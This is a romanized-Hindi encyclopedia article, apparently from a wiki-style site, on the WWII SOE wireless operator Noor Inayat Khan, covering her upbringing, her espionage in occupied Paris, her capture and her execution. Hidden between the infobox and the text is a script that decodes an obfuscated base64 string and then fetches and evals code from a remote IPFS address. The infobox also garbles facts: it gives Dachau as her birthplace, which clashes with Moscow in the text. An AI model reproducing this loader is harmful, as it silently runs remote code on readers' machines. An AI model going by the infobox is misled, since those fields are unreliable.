नूर इनायत ख़ान
noor inayat khan
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| poora nam | noor-un-nisa inayat khan |
| any nam | masko, roosi samrajy |
| janm | 1 janavari, 1914 |
| janm bhoomi | dakaoo prata dana shivir, jarmani |
| mrityu | 13 sitanbar, 1944 |
| abhibhavak | pita- hazarat inayat khan mata- ora re |
| karm-kshetr | mahila sahayak vayu sena |
| puraskar-upadhi | ‘v aaur kr aaus’ (phraans), 'j aaurj kr aaus (sarvochch nagarik samman, briten) |
| shakha | Force,dabloo. e. e॰ eph. |
| seva kal | 1940-1944 (dabloo. e. e. eph.) |
| nishtha | yoonaited kiangadam, phraans |
| any janakari | noor inayat khan maisoor ke 18vian sadi ke muslim shasak tipoo sultan ki vanshaj thian. unake pita hazarat inayat khan tipoo sultan ke p dapote the. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>noor-un-nisa inayat khan (aangrezi: Noor-un-Nissa Inayat Khan, janm- 1 janavari, 1914; shahadat- 13 sitanbar, 1944) bharatiy mool ki british guptachar thian, jinhoanne dvitiy vishvayuddh ke dauran mitr deshoan ke lie jasoosi ki. briten ke speshal aaupareshans ekjikyootiv ke roop mean prashikshit noor inayat khan dvitiy vishvayuddh ke dauran phraans ke nazi adhikar kshetr mean jane vali pahali mahila vayarales aauparetar thian. ek bharatiy rajakumari aur ek british jasoos ke roop mean noor inayat khan maisoor ke 18vian sadi ke muslim shasak tipoo sultan ki vanshaj thian. varsh 1944 mean dvitiy vishvayuddh ke dauran matr 30 varsh ki ayu mean najiyoan ne unhean bandi bana liya tha aur phir kuchh samay pashchat unaki hatya kar di gee.
parichay
1 janavari, 1914 ko mosko mean janmian noor ka poora nam 'noor-un-nisa inayat khan' tha. unake pita, hazarat inayat khan ek soofi sangitakar the aur tipoo sultan ke p dapote the. jabaki noor ki maan, ora re ek british mahila thian jinaki paravarish amerika mean huee. soofivad ko pashchimi deshoan tak pahuanchane ke shrey noor ke pita ko hi jata hai. pratham vishvayuddh ke chalate noor inayat khan ke parivar ko roos chho dakar phraans jana p da. yahaan ve peris mean bas gaye. yahaan unake ghar ka nam ‘fazal manzil’ tha. bachapan se hi noor aur unake bhaee-bahanoan ko soofivad ki shiksha mili thi. unhean hamesha hi unake abboo ne ahiansa, manavata, sach bolana, aur shaanti ka path padhaya tha.
noor inayat khan ki ziandagi par ‘d spaee priseanj: d laif aauf noor inayat khan’ nam se kitab likhane vali shrabani basu ke mutabiq- "noor bahut shaant svabhav ki thian. unhean padhane aur likhane ke sath-sath sangit mean kafi dilachaspi thi. ve vinavadan karati thian. 25 sal ki umr mean unaki pahali kitab chhapi. unhoanne buddh jatak kathaoan se prerit hokar bachchoan ke lie yah kahaniyoan ki kitab likhi thi."[1]
british sena mean pravesh
thumb|200px|noor inayat khan sal 1940 mean jab phraans par jarmani ne kabza kar liya aur dhire-dhire hitalar ki dahashat peris tak pahuanchane lagi. masoom logoan par atyachar hote dekh soofivad mean pali-badhi noor inayat khan ko jaise sadama laga. ve un logoan ke lie kuchh karana chahati thian jahaan unaki ziandagi ka sabase khubasoorat vaqt bita tha. noor aur unake bhaee vilayat ne landan jane ka nirnay kiya. yahaan akar noor ne mahilaoan ki sahayak vayu sena mean bharti hone ke lie avedan kiya. par unake avedan ko british sena ne thukara diya, kyoanki unake anusar ek bharatiy nam ki l daki jo ki phraans ki nivasi rah chuki hai, use ve british sena mean kaise jagah de sakate the.
noor inayat khan har manane valoan mean se kahaan thian. unhoanne turant british sena ko patr likha aur unase saval kiya ki vo ek british maan ki beti haian aur us desh ki madad karana chahati haian jisane unhean apanaya hai. ve fasivad ke khilaf l dana chahati haian to ve british sena mean kam kyoan nahian kar sakati haian. unaki is himakat ke jabav mean british shasan ne unhean iantaravyoo ke lie bulaya. shravani basu batati haian ki sakshatkar ke dauran noor se poochha gaya ki kya ve bharat mean british samrajy ke khilaf bagavat karane vale netaoan ka samarthan karati haian? noor ne bina jhijhake kaha ki- "aj jab pure vishv mean fasivad ke khilaf jang jari hai to mera farz hai ki maian isake khilaf briten aur amerika ka sath dooan. lekin jis pal yah yuddh khatm hoga maian bharat ki azadi ke lie apane vatan ka sath dooangi." aangrez unake jabav se hairan to the lekin sath hi yah bhi samajh gaye ki noor bahut himmat vali haian aur unake mishan ke lie jaroori bhi. kyoanki noor bahut achchhe se phreanch bhasha padh-likh sakati thian. unaka chayan ho gaya aur phir shuroo hua unaka prashikshan.[1]
british guptachar
sal 1942 mean noor inayat khan ko tatkalin british pradhanamantri charchil dvara gathit ‘speshal aaupareshan ekzikyootiv’ sangathan mean bharti kiya gaya. is sangathan ka kam phraans mean rahate hue aangrejoan ke lie jarman sena ki jasoosi karana tha. yahaan se noor ke jivan ne ek naya mo d liya. hamesha hi soofi mahaul mean pali-badhi noor ke lie ye sab bahut naya tha. ab ve mahan hazarat inayat khan ki beti ya phir hindustan ki koee shahazadi nahian thian balki ve british sena mean sirf ek nanbar thian aur yahaan unaka nam tha ‘nora bekar’! halaanki, unake sabhi prashikshakoan ko lagata tha ki noor ek sikret ejeant banane ke lie nahian haian. ek bar to treniang ke dauran unhoanne saf kah diya tha ki ve jhooth nahian bol paeangi. noor inayat khan ne hamesha sach bolana sikha, lekin ek sikret ejeant banane ke bad unake nam se lekar unake kagazat aur unaka vazood, sab jhooth tha.
vayarales aauparetar ki treniang unake lie asan na thi. aksar parikshan ke dauran ve dar jati thian. unake afasaroan ko lagata tha ki noor yah kam nahian kar paeangi. lekin phir bhi unhean jasoos banakar phraans bhejane ka nirnay liya gaya, kyoanki ve phreanch-bhashi thian aur doosara ve kisi bhi sandesh ko bahut jald kod ya phir di-kod kar leti thian. noor hamesha hi ek lekhika banana chahati thian. unhean likhane ka mauka to mila, par ek bahut hi alag aur nee bhasha mean. noor inayat khan ko joon 1943 mean jasoosi ke lie rediyo aauparetar banakar phraans bhej diya gaya aur unaka kod nam ‘medelin’ rakha gaya. medelin, noor inayat khan dvara likhi gayi ek jatak katha mean nayika ka nam tha aur jis rediyo enkripshan kod ka istemal unhoanne kiya, vah noor ne apani hi ek kavita se banaya tha.
pratham mahila vayarales aauparetar
noor inayat khan pahali mahila vayarales aauparetar thian, kyoanki unase pahale sirf purush hi vayarales aauparetar hote the. halaanki, yah kam bahut jokhim bhara tha. kyoanki, jarman sikret pulis ‘gestapo’ aauparetar ke ilektr aaunik signals ki pahachan kar in jasoosoan ko asani se pak d sakati thi. yahaan tak ki peris pahuanchane ke agale mahine hi jarman sena ne sabhi aauparetars ko pak d liya. isake bad peris mean sirf ek hi traansamitar bacha tha aur vah thian noor inayat khan. british sena ne noor ko vapis ane ke lie kaha. lekin noor ne vapis ane se mana kar diya.
joon se lekar aktoobar ke bich noor inayat khan akele hi kam kiya aur unake dvara bheje gaye sandesh kabhi bhi galat nahian hote the. noor ko pata tha ki agar unhoanne kisi ek jagah se 15 minat tak mesej bheja to jarman sena ko pata chal jayega. isalie ve hamesha mesej bhejane ke bad kisi park mean chali jati thian. ek bar jab ve apani traansamishan mashin ke sath park mean thian to unhean jarman sainikoan ne rokakar poochh liya ki unake brifakes mean kya hai? noor sach nahian kah sakati thian aur jhooth bolana unake lie jaise namumakin tha. unake sarkit ka nam ‘sinema’ tha aur isalie unhoanne kaha ki ‘sinema dikhane ki mashin hai.’ unaka atm-vishvas dekhakar jarman sainikoan ne un par yakin kar liya. aise hi kee bar jarman sena ki aankhoan mean dhool jhoankakar noor pharar hoti rahian. par ab unaka huliya dushmanoan ko pata chal chooka tha. isalie unhean har din apana roop badalana p data.[1]
giraftari
[[chitr:Noor-Inayat-Khan-1.png|thumb|200px|briten mean lagi noor inayat khan ki pratima]] aktoobar, 1943 mean noor ki giraphtari ki vajah bana apane hi ek sahayogi ka dhokha. unaki hi ek sahayogi ne chand paisoan ke lie unaka raj ujagar kar diya aur noor inayat khan ko peris mean unake apartameant se pak da gaya. halaanki, jarman sainikoan ke lie unhean giraphtar karana bhi bahut asan nahian tha. bataya jata hai ki lagabhag 6 sainikoan ne unhean sath milakar kaboo mean kiya tha. jel mean bhi un par bahut atyachar kiye ge, lekin noor ne koee bhi janakari nahian di. balki, jarman adhikariyoan ke lie ve bahut hi khataranak kaidi thian. unhoanne do bar jel se bhagane ka prayas kiya, halaanki donoan bar unhean pak d liya gaya. jarman sena ne unase british adhikariyoan ki janakari ugalavane ka har sanbhav prayas kiya, par ve noor se unaka asali nam tak nahian jan pae.
shahadat
27 navambar, 1943 ko noor inayat khan ko peris se jarmani le jaya gaya. lagabhag 10 mahinoan tak noor ko har tarah se prata dit kar unase janakari hasil karane ki koshish ki gayi. sitanbar 1944 mean noor inayat khan ko daushe kasantreshan kaianp mean le jaya gaya. yahaan 13 sitanbar, 1944 ko noor ko goli mar di gayi. us vaqt noor ki juban se nikala akhiri laphz tha ‘libarete’ jisaka phreanch mean matalab hota hai- azadi!
mrityu ke samay noor ki umr 30 sal thi. jis noor ko aangrez afasaroan ne apane mishan mean kabhi sabase kamajor k di mana tha, vahi noor us mishan ki sabase b di takat banakar ubharian. unake samman mean briten ki dak seva, r aauyal mel ne dak tikat jari kiya gaya. noor ki bahaduri ko unaki maut ke bad phraans mean ‘v aaur kr aaus’ dekar sammanit kiya gaya to briten ne apane sarvochch nagarik samman "j aaurj kr aaus" se unhean navaza.[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 ek bharatiy shahazadi, jo bani pahali mahila ‘vayarales aauparetar’ jasoos! (hiandi) hindi.thebetterindia.com. abhigaman tithi: 10 mee, 2020.
bahari k diyaan
- khoobasoorat lekin khataranak, is jasoos se hitalar bhi khata tha khauph
- bharatiy mool ki jasoos noor inayat khan
- noor inayat khan
sanbandhit lekh
varnamala kramanusar lekh khoj
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